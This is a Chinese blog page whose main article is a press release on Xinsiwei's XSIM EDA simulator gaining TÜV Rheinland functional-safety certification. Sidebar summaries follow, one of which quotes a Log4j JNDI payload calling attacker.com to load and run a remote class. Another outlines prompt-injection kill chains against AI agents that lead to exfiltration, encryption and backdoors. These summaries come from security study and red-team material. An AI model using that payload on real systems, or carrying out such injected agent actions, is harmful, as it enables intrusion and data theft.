芯思维再接再厉,获TÜV莱茵国内第二张EDA工具功能安全产品认证

MCP+Skills 赋能APP渗透逆向,六阶段 Agent 流水线,打通 MCP 工具链实现 APP 安全自动化分析 本文的实现与思路,是对前辈经验和行业方法的一次学习与实践,若其中存在疏漏或不足之处,欢迎批评指正。目前也在继续尝试将这一体系进一步推向真正可落地的自动化方向,供更多安全研究与测试实践参考! 阅读详情

中国北京,2023年8月7日——上海芯思维信息科技有限公司(简称“芯思维”)宣布于近期获得德国莱茵TÜV大中华区(简称“TÜV莱茵”)针对其EDA逻辑仿真系列产品XSIM,颁发的国内第二张EDA工具功能安全ISO26262 TCL3和IEC61508 T2产品认证证书。ISO26262是全球公认的汽车功能安全标准,覆盖汽车电子半导体的全生命周期,包括功能安全管理、概念、系统、硬件、软件阶段的开发、支持流程、安全分析、可靠性等所有环节。ISO 26262产品认证是汽车行业公认的车规芯片可以用于量产车安全相关系统应用的必要条件。

继2021年10月芯思维SSIM获得国内首张TÜV颁发的EDA功能安全故障注入仿真产品工具最高安全等级ASIL-D的认证之后,芯思维再接再厉,精心打磨XSIM逻辑仿真系列产品,历经12个月的认证周期,成功收获TÜV莱茵颁发的第二张功能安全产品认证,标志其再次在数字电路逻辑仿真领域,尤其是汽车电子半导体领域引领行业功能安全的发展。

在这里插入图片描述

芯思维刘志鹏博士 (左)与TÜV莱茵大中华区工业服务与信息安全总经理赵斌 (中) 参加证书颁发仪式

芯思维此次通过TÜV莱茵ISO26262和IEC61508认证的EDA产品XSIM是数字电路逻辑功能仿真系列工具。逻辑功能仿真是功能安全故障可靠性仿真的底层架构基础设施,该底层平台主要用于数字电路芯片设计过程中的逻辑功能仿真和验证,旨在帮助客户在芯片行为级功能设计之初,进行芯片功能设计的期望验证,以便达到缩短设计周期,降低设计成本,加速芯片功能快速迭代和快速收敛的效果。

和SSIM类似,芯思维的XSIM同时支持RTL行为级仿真以及GateLevel门级网表电路仿真、单机串行仿真以及多线程、多机并行仿真,支持生成仿真结果标准输出,以及图形化仿真结果调试等一系列工具功能,帮助用户查验仿真正确性。除此之外,XSIM还在逻辑仿真平台中综合了多种逻辑优化以及形式化分析等技术手段和算法,对数字电路芯片的设计进行了合理的分析和优化指导,进一步提升了功能仿真的效率的同时还帮助用户成功寻找设计潜在缺陷和优化空间,提升芯片设计质量,降低成本和PPAC设计基准。

XSIM完全基于自主知识产权和自主设计,帮助用户在逻辑设计阶段和功能安全仿真领域通过白盒测试和安全可靠性测试,使得用户无“卡脖子”风险以及保障了用户芯片设计原稿的数据安全保密性。同时,本次发布的XSIM和21年发布的SSIM形成更丰富的工具链解决方案,覆盖的功能特点更丰富,帮助客户一站式解决功能安全以及数字电路仿真等诸多诉求和问题。

在这里插入图片描述

芯思维Ssim和Xsim双产品认证助力中国车规半导体

目前,ISO 26262功能安全认证已成为软件和硬件供应商进入汽车电子行业的最重要的准入门槛。截至目前,芯思维已服务多家行业客户和商业客户,包括多家国内芯片设计头部企业,已服务多个芯片产品型号,帮助多家客户成功获得车规级芯片产品认证,并成功登陆多款车型。安全性是汽车电子半导体芯片研发的首要标准。芯思维始终将客户芯片安全可靠性视为软件产品支持服务的第一优先级。此次芯思维XSIM系列产品获得了功能安全ISO 26262 ASIL-D产品认证,再一次证明芯思维在功能安全的EDA软件开发和服务能力上均达到国内领先和国际主流水平。本次获证意味着芯思维EDA工具链能够服务于更多芯片结构和芯片类型,以及芯片应用场景,芯思维已经建立起完善的功能安全产品、服务以及咨询团队,已经形成覆盖通用MCU到专用SoC的完整EDA软件供应方案、以及构建了配套的售前售后支撑服务、芯片设计方案深度Fusa咨询等完整的服务布局。未来,芯思维将深入优化流程,坚持以客户需求为中心,持续为国内OEM和Tier1/Tier2提供高安全性、高可靠性、高一致性的EDA解决方案。

除了ISO26262这一汽车电子行业功能安全标准, XSIM此次同时通过了TÜV莱茵的IEC61508功能安全认证。这也意味着除了汽车电子领域之外,XSIM也能够利用逻辑仿真技术帮助来自高铁、无人机、航空航天、核应用、采矿、医疗电子等其他功能安全领域的客户,进行逻辑准确性、安全可靠性等多个指标验证以及SIL安全完整性等级定义的校验和有效性检查。

芯思维CEO刘志鹏博士表示:“芯思维的XSIM软件产品能够在继SSIM之后,成为国内第二个获功能安全领域两项重要标准ISO26262和IEC61508双认证证书的EDA软件工具,团队付出了太多的艰辛和努力,同时也深感荣幸和压力。这再一次彰显了芯思维在EDA软件开发和安全可靠性管理方面的实力,是芯思维打造国产EDA仿真验证平台的又一重大关键里程碑。我们将以此为契机,在数字电路芯片设计,高可靠性芯片设计领域,尤其是汽车电子芯片方面不断发力,为实现国内安全可靠性芯片设计继续提供强有力支持和服务。“

TÜV莱茵大中华区工业服务与信息安全总经理赵斌表示:“恭喜芯思维再一次获得TÜV莱茵功能安全最高安全等级EDA工具产品认证,继续引领国产EDA工具在功能安全方面的竞争力。我们的功能安全专家对XSIM软件工具开发的全生命周期进行了严格审查并对其安全可靠性、准确性进行了详细交叉校验,结果显示XSIM逻辑仿真平台达到了功能安全标准ISO26262 TCL3以及IEC61508 T2安全等级的要求。TÜV莱茵将与芯思维保持紧密合作,助力其提升产品可靠性和安全性,增强在功能安全尤其是汽车电子领域的竞争优势。”

自动化专业与嵌入式 在学生时期,我是一个典型的学渣,所以只能选择电气工程、汽修、数控之类的专业。而那些高分的则可以选择计算机,电子商务,通信之类的。这些专业看起来像是蓝领和白领的分界,至今我都觉得这种制度是不人性化的。专业这块根据学生的爱好去选择是最好的,毕竟有兴趣才会”真心”去学习。谁说学渣就学不会编程、学不会金融对吧?不过也罢,在学校能学到东西的毕竟是少数,最近有些大学生发了他们的课程表给我看了下。我感觉学的太广了,什么单片机、c语言、java之类的,导致很多学生学完以后还是很迷茫,不知道自己专业到底是从事什么方向的。所以 阅读详情

相关推荐

企业知识库AI助手的权限管理架构:如何实现细粒度控制?

在展开架构设计前,我们需要先明确“细粒度权限”的核心定义,并理解它对AI助手的特殊意义。权限管理的“粒度”,本质是权限控制的精准程度。维度粗粒度权限细粒度权限资源范围entire document(整个文档)field/paragraph(字段/段落)操作类型read/write(读/写)generate_summary/download/export(生成摘要/下载/导出)上下文约束无(静态权限)time/ip/device(时间/IP/设备)适用场景简单系统(如内部wiki)

大数据洞察的博客 1044

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1147

RAG优化知识库检索(4):混合检索技术

混合检索技术在RAG(检索增强生成)系统中的应用显著提升了检索效果。本文探讨了语义检索与关键词检索的优缺点,指出两者在语义理解和精确匹配方面的互补性。通过结合BM25与向量检索,混合检索系统能够更全面地捕捉文档的相关性。文章详细介绍了并行检索、级联检索、稀疏-密集混合表示等多种结合方式,并探讨了权重调整策略,如线性组合、动态权重调整和排序融合算法。此外,稀疏-密集混合检索架构的设计和实现方案也被深入分析,展示了如何通过结合不同检索方法的优势,提升RAG系统的检索质量和效率。

分享一些感兴趣的技术方面 2075

企业如何同时管理用电安全、电能质量和节能降碳?从异常溯源看施耐德电气EEO的协同管理价值

通过整合电力运行信息,并结合EEO资产健康模块、EEO电能质量模块与EEO能碳管理模块,企业可以围绕设备、回路和负荷建立更连续的分析流程,使不同专业人员能够基于相互关联的数据开展判断。企业需要进一步核对异常出现的时间、涉及的配电回路、生产负荷变化以及设备运行状态,才能判断问题来自正常的生产调整、设备运行异常,还是需要采取措施的电能质量问题。从关键回路的异常排查入手,逐步完善设备数据、专业分析和治理验证流程,企业可以让用电安全、电能质量与节能降碳从分散的管理任务,转变为相互关联的日常运营工作。

科技,技术,行业类博主 189

四足机器人机械结构设计:从腿型到驱动的全面解析

本文全面解析了四足机器人机械结构设计的核心要点。资深工程师老张深入探讨了并联腿与串联腿的选型策略、不同腿型布局对稳定性的影响,并详细对比了皮带轮与连杆驱动方式的优劣。文章结合实战经验,强调了足端设计、材料选择及整体结构轻量化等关键细节,为机器人开发者提供了从理论到实践的宝贵指导。

assembly8low的博客 635

美亚杯取证比赛必备:Veracrypt挂载+检材解压保姆级教程(附常见错误排查)

本文提供美亚杯数字取证竞赛的Veracrypt挂载与检材解压保姆级教程。详细解析从分卷压缩包解压(密码格式为MeiyaCup+年份)到使用Veracrypt正确挂载加密容器的全流程,并附有常见错误排查与高级应急方案,帮助选手高效突破技术门槛,顺利进入取证分析阶段。

alice7model的博客 1065

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 361

RNA-seq分析:Step8(富集分析)

RNA-seq富集分析是一种用于分析基因表达数据中特定基因或通路是否富集的分析方法。其基本思想是比较不同基因对应的转录本/基因之间的表达差异及其对应的基因注释信息,通过统计学方法评估差异的显著性,从而确定是否存在某些特定的功能通路或基因集合富集的情况。常用的RNA-seq富集分析工具包括GOseq、KEGG(KEGG enrichment analysis)、DAVID(Database for Annotation, Visualization and Integrated Discovery)等。这

沉香best的博客 3634

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 385

【图论】系列(七)图论的中心性度量方法及重要性评价指标

图论中的中心性度量方法是用来衡量图中各个节点(或顶点)相对重要性的指标。

qq_30066733的博客 1078

各大厂薪资对比爬虫:Python采集OfferShow爆料数据

print(f"⚠️ API返回错误码: {data.get('code')}, msg: {data.get('msg')}")ax.set_title('各大厂薪资对比 (基于OfferShow爆料数据)', fontsize=16, fontweight='bold')stats.columns = ['人数', '平均年薪', '年薪中位数', '年薪标准差', '平均月薪', '平均月数']print(analyzer.get_position_stats('字节跳动').head(10))

2201_76125261的博客 606

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 181

快速入门必看!RT-DETR手把手训练自己的数据集去跑实验,基于 ultralytics 仓库源码改进,配置虚拟环境,准备数据集、训练、验证、推理测试 ,实现0到1的完整教学过程。

本文介绍了使用Ultralytics框架训练RT-DETR模型的全流程。首先需要创建Python 3.10虚拟环境,安装指定版本的PyTorch和相关依赖包。然后准备数据集,修改配置文件,并详细介绍训练、验证和推理三个核心步骤的代码实现。训练阶段使用RTDETR类加载模型配置,设置训练参数;验证阶段评估模型性能;推理阶段可对图片、视频等进行预测。文中还提供了清华大学镜像源加速下载,以及详细的参数配置说明,帮助用户快速搭建RT-DETR目标检测模型。

Ai缝合怪、助力小伙伴高效发论文 5567

隔离下沉到网络层,智能体安全的重心换了位置|2026年11月14日

安全边界正从应用层下沉至网络与运行时,英伟达Scale-In通过硬件级隔离实现租户安全,AWS AgentCore将成本与隔离纳入运行时管控。上下文成本差异超一个量级,工具调用方式直接影响开销。智能体生成代码需依赖细粒度评测,保真度56.6%揭示其仍处辅助阶段。权重微调0.016%即显著提效,但依赖精准定位与即时反馈。趋势明确:将模糊判断转化为可测指标,构建可复现的工程闭环。

kenshin1980的专栏 171

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

迪康端点安全一体化管理平台核心功能实践:从文档加密到行为审计

本文选取的文档透明加密、U 盘与外设管控、屏幕水印、终端审计、远程运维五项能力,分别对应了数据防护、通道管控、追溯取证和效率提升四个维度。除 U 盘外,平台构建了大范围的外设管理框架,对操作系统底层设备接口进行管控,可开启或禁止使用光驱、打印机、蓝牙、红外、串口、并口、1394、PCMCIA 和便携式设备,杜绝终端的物理外泄渠道。管理员可以使用交互模式、旁观模式、兼容模式、独占输入模式进行远程协助,兼容外部 VNC 服务,并内置远程画板功能,支持在远程画面上标注、圈画、批注,大幅提升排障沟通效率。

qq_43457377的博客 366

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

GM/T 0018-2023 删掉了整章「安全要求」,密码设备应用接口把要求写进了函数签名

GM/T 0018-2023 把 2012 版的第 7 章「安全要求」整章删掉了,同时新增 6.8 验证调试类 12 个函数。这两件事是一回事:2012 版一边禁止私钥明文出设备,一边在 6.3 和 6.4 里把能碰明文的函数和内部运算并排摆着;2023 版把它们全部收进 6.8 一类,节首只写一句「仅用于调试、测试、检测,不用于实际密码服务」。6.3 从 21 个函数减到 16 个,剩下十六个没有一条的入参或出参是明文密钥;6.4 从 10 个减到 7 个,减掉的三个正好是私钥作为入参的那三个。要求没有取

CISSP 持证,在安当做密码产品。写身份认证、密钥管理、数据加密在真实系统里的取舍。 168

MCP隔离层+行级语义审计+输出校验:AI访问数据库的安全边界拆解

“数据不出库”是AI数据库的安全承诺,但数据不离开数据库,不等于权限体系自动生效、审计链路自动完整。AI Agent的访问模式与传统DBA完全不同:自然语言驱动、SQL动态生成、批量上下文读取、难以区分正常推理与恶意指令。金仓KES AI数据库的库内生安全管控,核心不是“把数据锁在库里”,而是用MCP协议隔离层让AI永远不持有数据库凭据,用行级控制+语义审计让每一次AI访问可追溯、可分级、可阻断。本文拆解这层安全边界的工程实现,以及“数据不出库”之后仍然需要回答的三个问题。

DBAxiaoye的博客 183

智能体私有化部署服务商推荐:信创适配与安全基线

翻智能体私有化部署服务商推荐这类名单,多数人先看模型规模与并发数,真正决定项目能不能进机房的却是另外两页纸:一页是信创适配矩阵,一页是安全基线条款。前者回答它能不能在国产芯片与国产操作系统上跑起来,后者回答它跑起来之后,审计、权限、加密这些硬要求能不能过关。两页纸拿不出来,功能演示再顺也进不了内网。这两页难写,是因为它们不像功能清单那样可以现场演示。适配要在真机上跑,基线要逐条对,任何一项缺证据,评审都会卡在同一个问句上:你怎么证明它行。所以看方案时的顺序要反过来,先找证据,再看承诺;

dachuiai的博客 87

【2027计算机毕业设计】智慧工地安全巡检:隐患从上报到整改验收,闭环怎么落到表上

安全巡检」这类题,看着像普通的工单系统,其实考的是。老师最常问的一句是:「报了个隐患,然后呢?」——答不上来,这题就废了。拆一个真实项目(Spring Boot + MyBatis + MySQL,14 张表),把这条链讲清楚。

m0_48069349的博客 203

大模型安全Red Team之四:从枚举到杀伤链------Prompt Injection 驱动 Agentic Actions 的渗透测试

本文为红队与渗透测试人员提供一套可复现的AgenticAI攻击方法论:先枚举可由Prompt触发的Agent动作(如发邮件、删日历、改配置),再通过文档、邮件、日历、网页等隐蔽通道注入载荷,利用延迟调用、意图播种、多链绕过等技巧突破防御,最终串联成“读邮件→外带数据→加密文件→持久化后门”等完整杀伤链。强调所有测试须在授权范围内进行,核心结论:每个Connector都是攻击路径,关闭确认弹窗即风险接受。

jimmyleeee的专栏 366

操作系统安全体系能到哪一步?卓伊凡:服务端看认证,Ubuntu看默认,欧拉看体系,鸿蒙是另一条路

操作系统安全体系当前已实现分层保障:内核级强制访问控制(如SELinux、AppArmor)、默认攻击面收窄、密码学加密与制度化测评构成四重防线。在官方测评中,华为欧拉V3、阿里云服务器等三款系统达Ⅰ级安全可靠标准,鸿蒙桌面则首获Ⅱ级认证。Ubuntu高版本默认安全工程化出色,但加固也可能引入新漏洞。欧拉与鸿蒙技术路线不同——前者为服务端Linux加固体系,后者为终端微内核+形式化验证架构,二者可协同构建“端云安全”,但不可混为一谈。安全本质是相对的,需结合场景、运维能力与测评体系理性选型。

一颗优雅草科技-央千澈的优快云博客~只想无穷无尽的学习~作息早8-晚8 202

【鸿蒙心迹】应用沙箱与文件管理——fs 接口与安全路径实战(HarmonyOS 7.x)

文件写到哪了?为什么读不到?跨应用分享文件怎么传?——应用沙箱隔离让文件操作和传统 OS 不同。本文用图片缓存/文档导出/跨应用分享为案例,讲清沙箱目录结构、fs 接口、FileUri 权限,附 5 个踩坑。

腾讯云创作之星、华为云云享专家,深耕电商全栈高并发系统实战,分享可商用商城项目源码。 700

【AI Agent面试系列】AI Agent可观测、评测、安全相关的知识点

之前的文章介绍了和,本文主要介绍AI Agent的测评、可观测等知识。

411

Agent 安全实战:间接提示注入的四个攻击面与防御体系

当 Agent 从 "生成内容" 走向 "执行动作",安全边界就从内容合规变成了权限越界。本文拆解间接提示注入在网页抓取、工具返回值、MCP 连接器、长期记忆四个位置的真实攻击路径,对照 Claude、GPT、Gemini 在工具调用权限模型上的设计差异,给出可直接落地的五层防御体系。

阡陌数智,专注大模型网关与 LLM 工程落地 303

运动控制功能安全实践深度解析 | 安全功能篇(上)

安全功能不只是急停。SLS 限上限、SSR 守区间、SSM 管人员准入,三者约束对象不同,混用等于没设防。本文拆解限速类安全功能的判定逻辑、编码器与无传感器两条采集路径,以及汽车、玻璃、物流、烘焙、机器人等场景的落地差异。

MotroEngineer的博客 278
上一篇: Cirrus Logic 助 PC 行业向全新 MIPI SoundWire® 接口实现轻松过渡
下一篇: 科视Christie将在北京国际广播电影电视展览会上提升观众的观影体验
白恍然
博客等级 码龄6年 2粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值